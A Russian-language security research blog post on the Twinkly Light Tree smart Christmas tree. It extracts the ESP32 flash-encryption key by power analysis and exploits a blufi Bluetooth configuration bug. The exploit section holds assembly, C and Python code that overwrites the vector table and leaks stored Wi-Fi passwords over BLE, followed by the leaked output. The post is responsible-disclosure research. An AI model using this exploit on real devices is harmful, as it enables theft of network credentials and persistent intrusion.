«А давайте вы сделаете какой-нибудь новогодний рисёч?» — примерно такую задачу поставили нашей Positive Labs этим летом. Поскольку мы любим изучать разнообразные железки, первым делом подумали про умные устройства. А что у нас с Новым Годом обычно ассоциируется? Правильно — новогодняя ёлка. Быстрый поиск в сети показал, что smart-ёлки существуют, и даже не от дядюшки Ляо, а вполне себе серьезной компании. На том и порешили — берем Twinkly Light Tree и смотрим, что там с безопасностью.

Прошлые исследования
До нас серию Twinkly исследовала компания MWR InfoSecurity (что интересно, с той же самой целью). В результате были обнаружены инфраструктурные ошибки, используя которые можно было выключить вообще все гирлянды этого бренда в мире:

Ошибка заключалась в протоколе MQTT и отсутствии ограничений доступа при подключении к чужим устройствам. Поскольку исследование было в далеком 2018, уязвимость давно исправлена. Но то были инфраструктурные косяки. Мы же решили изучить само устройство и его прошивку, в идеале — добиться удалённого запуска кода (спойлер — всё получилось).
А что, собственно, внутри?
Как становится понятно из названия, это не просто гирлянда, а целая светящаяся ель, состоящая из каркаса, светодиодных рядов и блока управления. Блок умеет подключаться к сетям Wi-Fi (а также играть роль точки доступа), при этом для запуска конфигурации сети сверху есть большая кнопка управления со светодиодом рядом:

Внутри корпуса блока управления можно обнаружить саму кнопку, трехцветный светодиод и модуль ESP32-WROOM.

Справа на плате можно заметить набор контактов, подозрительно похожих на отладочные. Здесь установлен стандартный модуль ESP32, его распиновка известна, поэтому назначение контактов легко определяется прозвонкой:

Эти контакты предназначены для первоначальной прошивки модуля ESP32. Если производитель не заблокировал интерфейс, их также можно использовать для считывания содержимого флэш-памяти и e-Fuses. Для этого существует удобный официальный инструмент esptool:

Чтение e-Fuses выполняем схожим образом, но уже через утилиту espefuse:

Нам интересны следующие e-Fuses:
FLASH_CRYPT_CNT = 127 (0b1111111)
JTAG_DISABLE = True (0b1)
DISABLE_DL_DECRYPT = True (0b1)
ABS_DONE_0 = True (0b1)
ABS_DONE_1 = False (0b0)
Остановимся на каждом подробнее:
Нечетное значение FLASH_CRYPT_CNT говорит о том, что на микроконтроллере активен Flash Encryption. Значит код в полученном дампе флешки зашифрован и просто так исследовать его не получится.
Активные JTAG_DISABLE и DISABLE_DL_DECRPYT означают, что отладка заблокирована и средствами самого контроллера расшифровать данные не выйдет.
Наконец, ABS_DONE_0 и ABS_DONE_1 показывают, что включен Secure Boot v1, поэтому запускать свой код запрещено (даже при наличии ключа шифрования флешки).
Вердикт: перед нами релизный вариант конфигурации, включена максимальная защита.
Differential Power Analysis
Воспользуемся самым простым методом получения прошивки из контроллера ESP32-D0WD-v3 — Differential Power Analysis (DPA). Суть в том, что по потреблению питания микроконтроллера можно косвен��о вычислить значения, которыми он оперирует в регистрах. Самый банальный пример — когда в сигнале, полученном с линии питания микросхемы, можно отчетливо определить состояния некоторой внутренней линии:

В случае с ESP32 можно «подслушать» процесс шифрования AES. Конечно, настолько очевидно, как в примере на рисунке, увидеть ключ или данные не получится — здесь все 128 бит обрабатываются за один единственный «тик» процессора. Поэтому для вычисления значения ключа нужно использовать метод Correlation Power Analysis (CPA): выполняем десятки тысяч измерений с разными данными на входе, сравниваем с поведением предполагаемой модели и побайтно подбираем подходящий ключ.
Очень детально процесс извлечения ключа описан в статье за авторством Kévin Courdesses. На базе его же проекта esp-cpa получился вот такой девайс (который вы ещё встретите в других статьях про приключения с ESP32):

Этот девайс одновременно эмулирует SPI-флешку и выполняет замеры питания в момент расшифровки блока данных (а ещё умеет гличить импульсами питания, нагревать чип с высокой точностью, записывать UART, отлаживать по JTAG...). То есть эмулятор каждый раз посылает новый случайный блок данных, выжидает момент расшифровки и сохраняет замеры тока на линии:

Затем по накопленным данным с десятков и сотен тысяч замеров делается анализ корреляции — насколько реальные графики совпадают с «моделью» — предполагаемым поведением питания для конкретного значения части ключа. Сильно вдаваться в детали процесса не буду, на эту тему выйдет отдельная статья, пока что сосредоточимся на результате.
Результат анализа корреляции выглядит как 16 графиков (по одному на байт раунд-ключа) с 256 линиями (по одной на каждый вариант байта). Та линия, что сильно выделяется на фоне других, — верно угаданное значение.

Из графиков получаем ключ 8aef836729ebf14d4f17a88cdb2d69ce. С его помощью повторяем анализ уже для раунда 1 (поскольку в ESP32 применяется AES-256 и части ключа только от первого раунда недостаточно).

Таким образом получаем вторую половину ключа — 397f9cb7d00dd312d45fc7f1884661a8. Но и это еще не все!
В ESP32 ключ модифицируется в зависимости от смещения, поэтому путем анализа питания мы получили ключ уже после модификации (для смещения 0x1000). За то, как именно модифицируется ключ, отвечает e-Fuse FLASH_CRYPT_CONFIG (по умолчанию выставляется в максимальные 0xF). Алгоритм можно взять из официальной утилиты espsecure:
def flashencryption_tweak_key(key, offset, tweak_range):
addr = offset >> 5
key ^= ((mul1 addr) | ((mul2 addr) & mul2_mask)) & tweak_range
return int.to_bytes(key, length=32, byteorder="big", signed=False)Алгоритм симметричный, поэтому его применение к полученному ключу обращает модификации. В результате получаем исходный ключ шифрования, который уже можно использовать в утилите espsecure:
8A FF 83 65 29 EB B1 5D 4F 15 A8 8C 9B 2D 61 C6
39 7E 9C B7 F0 0D D7 12 D4 5D C7 F1 C8 46 69 A8Важный момент: ключ уникален для каждого устройства, так что если вам нужно расшифровать другой девайс (пусть даже той же модели и с такой же прошивкой), все придется проделывать заново ;)
Краткий обзор прошивки
У считанного дампа стандартный вид для проектов на основе ESP32: загрузчик, два OTA-слота, прошивка на базе FreeRTOS и шифрованный Non-Volatile Storage с отдельно сохраненным ключом. Нестандартными можно назвать только разделы с заводской конфигурацией и огромный раздел movie для хранения пользовательского видеоролика.
Смещение | Размер | Назначение |
0x0000 | 0xC0 | Подпись для Secure boot |
0x1000 | 0x5700 | Bootloader |
0x8000 | 0x1000 | Таблица разделов |
0x9000 | 0x4000 | NVS (Non-Volatile Storage), зашифровано keys |
0xD000 | 0x20 | otadata, информация о текущем используемом слоте прошивки |
0x10000 | 0x200000 | ota_1, слот прошивки №1 |
0x210000 | 0x200000 | ota_2, слот прошивки №2 |
0x410000 | 0x4000 | settings |
0x414000 | 0x4000 | data, информация об устройстве |
0x418000 | 0x3e0000 | movie |
0x7FF000 | 0x1000 | keys, ключи шифрования для NVS |
Неожиданностью стал включенный Stack Smash Protection: в начале каждой функции на верхушку стека записывалось случайное значение, а в конце проверялось, не изменилось ли оно.

В прошивке мы обнаружили многочисленные обработчики HTTP-протокола. Это неудивительно, ведь основной способ взаимодействия с устройством — по Wi-Fi через HTTP-запросы вида GET /xled/v1/…. При этом девайс подключается к существующей Wi-Fi сети, либо сам раздает ее. Помимо HTTP имеется возможность удаленного управления по протоколу MQTT (в том числе есть поддержка Apple Homekit).
В онлайн-источниках есть много информации о протоколе этих гирлянд, в том числе готовые проекты на Python. С их помощью можно управлять девайсом, причем если вы уже в Wi-Fi сети, никакого логина не требуется — даже знать IP-адрес не обязательно. Все гирлянды дружно отвечают на широковещательный UDP-запрос.
Уязвимости!
Конечно, полный доступ к управлению устройством из локальной сети — это не так интересно (для этого нужен пароль от Wi-Fi), как удаленный запуск своего кода на самом устройстве. Чтобы решить эту задачу, немного поковыряемся в прошивке и найдем интересную библиотеку blufi:

По сути, перед нами пример от разработчика SDK, как можно выполнить начальную настройку по Bluetooth LE (задать пароль для Wi-Fi). Интересна blufi тем, что около года назад в ней находили критические уязвимости, в том числе возможность записи произвольных данных по конкретному адресу:

Если кратко, протокол формирования секретного ключа принимает почти все параметры от клиента, при этом можно передать ключ размером до 8192 бит (хотя в коде библиотеки место предусмотрено только для 1024 бит). В результате получаем возможность перезаписи указателя на буфер и размера данных. А следующим запросом эти данные можно записать куда угодно. Самое странное, что разработчик микроконтроллера (Espressif) тогда не признал уязвимость и отказался создавать CVE, но обновил код примера-библиотеки:
🔻 January 23, 2025 — Espressif publishes first round of patches to GitHub, informs NCC Group they do not consider the bugs to be security vulnerabilities and are therefore ineligible for the bug bounty program
Возможно, как раз из-за этого баг и присутствовал в последней на тот момент прошивке гирлянды (после раскрытия уязвимости Twinkly, в Espressif признали серьезность проблемы и зарегистрировали CVE-2025-55297).
Чтобы наглядно показать проблему с безопасностью, рассмотрим правдоподобный сценарий. Злоумышленник видит гирлянду в холле компании, подходит к ней, нажимает кнопку конфигурации и через уязвимость получает пароль от корпоративной сети Wi-Fi, к которой подключено устройство. Или загружает в ёлку свою прошивку, чтобы иметь удалённый доступ к этой сети в любое время.
Для реализации такой атаки нужно разработать небольшой эксплойт, который будет считывать пароль от Wi-Fi через конфигурационный интерфейс BLE. Воспользуемся проектом pyBlufi, который как раз реализует этот протокол конфигурации.
Раз! Ищем, чего бы такого в прошивке перезаписать, чтобы система не выдала ошибку, и при этом у нас получилось исполнить произвольный код. Если со второй частью все довольно просто (достаточно перезаписать код в ОЗУ или глобальный callback), то с первой есть нюансы.
Буфер, адрес которого перезаписывается уязвимостью, используется однократно, после чего освобождается. А значит, нам нужно:
Предотвратить падение при освобождении буфера, поскольку он не принадлежит куче
Не допустить падения системы при использовании буфера (адреса области кода генерируют исключение при побайтном доступе).
Чтобы выполнить все условия, мы придумали следующий трюк:
В качестве целевого адреса для payload указываем таблицу векторов прерываний. В ней есть функция WindowOverflow8, которая вызывается, когда уровень вложенности вызова достигает предела и нужно выгрузить регистры в стек (это происходит довольно часто).
Сразу после перезаписи vector table (до использования буфера) в пропатченной WindowOverflow8 вызовется наш код, который исправит все что нужно, чтобы система не упала.
Два! Составляем код payload, который будет патчить систему, подменять методы в таблице и т. д. Работаем на ассемблере, потому что в таблице векторов не так много места и нужно аккуратно жонглировать регистрами.
.org 0x18
blufi_sec_ptr: .word 0x3FFCD568 ; указатель на структуру blufi_sec
ovrw_buf_ptr: .word 0x40080010 ; значение буфера после перезаписи
event_callback: .word 0x3FFC2BD4 ; адрес обработчика события bluFi
event_callback2: .word 0x3FFC0CAC ; адрес обработчика события bluFi
new_callback: .word 0x40080360 ; новый адрес обработчкиа bluFi
.org 0x80
WindowOverflow8:
s32e a0, a9, -16
l32e a0, a1, -12
s32e a1, a9, -12
s32e a2, a9, -8
s32e a3, a9, -4
l32r a0, blufisec_ptr ; не делать ничего, если буфер не перезаписан
l32i.n a0, a0, 0
beqz.n a0, finish_ovfl
l32i a1, a0, 0x114
l32r a2, ovrw_buf_ptr
bne a1, a2, finish_ovfl
movi.n a2, 0
s32i a2, a0, 0x114 ; очистить указатель на буфер (чтобы не упал free)
s32i a2, a0, 0x118 ; занулить размер (чтобы не упал read_params)
l32r a0, event_callback
l32r a1, new_callback
s32i.n a1, a0, 0 ; заменить обработчики BluFi
l32r a0, event_callback2
s32i.n a1, a0, 0
finish_ovfl:
j finish_ovfl2
.org 0xE0
finish_ovfl2:
l32e a1, a9, -12
l32e a2, a9, -8
l32e a0, a1, -12
s32e a4, a0, -32
s32e a5, a0, -28
s32e a6, a0, -24
s32e a7, a0, -20
rfwoПомимо исправления повреждений в коде задаем новый обработчик BLE команд blufi: он поможет нам сделать что-то интересное и вытащить секретную информацию из устройства.
void callback(esp_blufi_cb_event_t event, char * param)
{
if (event != ESP_BLUFI_EVENT_GET_WIFI_STATUS) // подменяемая команда
{
blufi_cb def_callback = (blufi_cb)(0x4012CA48);
return def_callback(event, param);
}
ewgc_f esp_wifi_get_config = (ewgc_f)(0x400D4ECC);
char data = calloc(1, 0x200); // аллоцировать буфер
esp_wifi_get_config(WIFI_IF_STA data); // конфиг “раздачи” WiFi
esp_wifi_get_config(WIFI_IF_AP, data + 0x60); // конфиг клиента WiFi
ebsc_f esp_blufi_send_custom_data = (ebsc_f*)0x40178734;
esp_blufi_send_custom_data(data, 0xc0); // отправить пароли по BLE
free(data);
}Скомпилированный обработчик записывается в ту же таблицу векторов по смещению 0x350. Там как раз есть довольно большой неиспользуемый промежуток.
Три! Подготавливаем ключевую информацию согласно описанию PoC из отчета NCC Group. Структура blufi_security, которая перезатирается в процессе эксплуатации, выглядит следующим образом:
struct blufi_security {
#define DH_SELF_PUB_KEY_LEN 128
uint8_t self_public_key[DH_SELF_PUB_KEY_LEN];
#define SHARE_KEY_LEN 128
uint8_t share_key[SHARE_KEY_LEN];
size_t share_len;
#define PSK_LEN 16
uint8_t psk[PSK_LEN];
uint8_t *dh_param;
int dh_param_len;
uint8_t iv[16];
mbedtls_dhm_context dhm;
mbedtls_aes_context aes;
};Из реверса прошивки видно, что ключ (psk) формируется по смещению 0x80, указатель (dh_param) расположен по смещению 0x114, а размер буфера (dh_param_len) — по смещению 0x118. Значит, нужен некоторый padding в 0x94 байта, затем четыре байта адреса, по которому будет загружен payload, и два байта размера:
DH_G = 0
for i in range(0x94):
DH_G = (DH_G << 8) 0x33 # 0x33333333...33
# prepare rewrite of 0x40080010 with size of 0x3F0
DH_G = (DH_G << 48) | (0x10000840 << 16) | (0xF003)
# make DH_G mod 3 == 1
while DH_G % 3 != 1:
DH_G += 0x1000000000000
# modulus = G*3
DH_P = hex(DH_G * 3)Ёлочка, гори! Осталось соединить все наработки в pyBlufi-коде и послать запрос:
async def postNegotiateSecurity(self):
type = getTypeValue(DATA.PACKAGE_VALUE, DATA.SUBTYPE_NEG)
pBytes = self.crypto.getPBytes()
gBytes = self.crypto.getGBytes()
kBytes = self.crypto.getYBytes()
pgkLength = len(pBytes) + len(gBytes) + len(kBytes) + 6
pgkLen1 = (pgkLength >> 8) & 0xff
pgkLen2 = pgkLength & 0xff
# send initial key data length
txBuf = io.BytesIO()
txBuf.write(bytes([NEG_SECURITY_SET_TOTAL_LENGTH]))
txBuf.write(bytes([pgkLen1]))
txBuf.write(bytes([pgkLen2]))
await self.post(False, False, self.mRequireAck, type, txBuf.getvalue())
await asyncio.sleep(0.1)
txBuf.seek(0)
txBuf.truncate()
# send key data and rewrite buffer pointer / length
txBuf.write(bytes([NEG_SECURITY_SET_ALL_DATA]))
pLength = len(pBytes)
print(hex(pLength))
pLen1 = (pLength >> 8) & 0xff
pLen2 = pLength & 0xff
txBuf.write(bytes([pLen1]))
txBuf.write(bytes([pLen2]))
txBuf.write(pBytes)
gLength = len(gBytes)
print(hex(pLength))
gLen1 = (gLength >> 8) & 0xff
gLen2 = gLength & 0xff
txBuf.write(bytes([gLen1]))
txBuf.write(bytes([gLen2]))
txBuf.write(gBytes)
kLength = len(kBytes)
print(hex(pLength))
kLen1 = (kLength >> 8) & 0xff
kLen2 = kLength & 0xff
txBuf.write(bytes([kLen1]))
txBuf.write(bytes([kLen2]))
txBuf.write(kBytes)
await self.post(False, False, self.mRequireAck, type, txBuf.getvalue())
await asyncio.sleep(0.1)
txBuf.seek(0)
txBuf.truncate()
# send payload and overwrite the xtensa vector table
txBuf.write(bytes([NEG_SECURITY_SET_ALL_DATA]))
txBuf.write(open("payload.bin", "rb").read()[0x10:])
await self.post(False, False, self.mRequireAck, type, txBuf.getvalue())Теперь на запрос GET_WIFI_STATUS мы получаем пароли от Wi-Fi:
54 65 73 74 50 6F 69 6E 74 31 00 00 00 00 00 00 TestPoint1......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
71 77 65 66 67 68 31 32 33 00 00 00 00 00 00 00 qwefgh123.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
54 77 69 6E 6B 6C 79 5F 35 44 42 37 46 39 00 00 Twinkly_5DB7F9..
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
54 77 69 6E 6B 6C 79 32 30 31 39 00 00 00 00 00 Twinkly2019.....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Точно так же можно загрузить в оперативную память устройства любой другой код и выполнить его. Более того, как мы обнаружили, из-за использования устаревшего Secure Boot v1, можно перезаписать флешку и перманентно закрепиться внутри! Конечно, майнить на ёлке не получится, но в качестве шлюза во внутреннюю сеть такая гирлянда сгодится.
Ответ производителя
Как уже было упомянуто выше, Twinkly (LED Works LLC) достучались до Espressif и добились регистрации CVE, чтобы и другие разработчики были в курсе необходимости обновления библиотеки blufi. Помимо этого, довольно скоро было выпущено обновление гирлянд Twinkly, включающее исправления библиотеки и закрывающее уязвимость протокола конфигурации. Наконец, все новые устройства вендора будут использовать Secure Boot v2 для защиты от перезаписи прошивки «изнутри».
Наше новогоднее исследование закончилось хорошо. Пользователи получили новую прошивку, нас упомянули в Security Advisory, мир стал ещё чуточку безопаснее.
Что же в итоге?
Мы живем в мире, где даже самые простые устройства могут нести угрозы безопасности. Например, злоумышленник может превратить ваш девайс в майнер или часть DDoS-ботнета. В нашем случае атакующему понадобился бы физический доступ к устройству, но бывают и уязвимости, которые можно спокойно эксплуатировать удаленно. Поэтому важно ответственно подходить к созданию системы умного дома и соблюдать базовые правила цифровой гигиены. Приобретайте продукты проверенных брендов, регулярно обновляйте прошивки и используйте отдельную сеть для умных устройств.
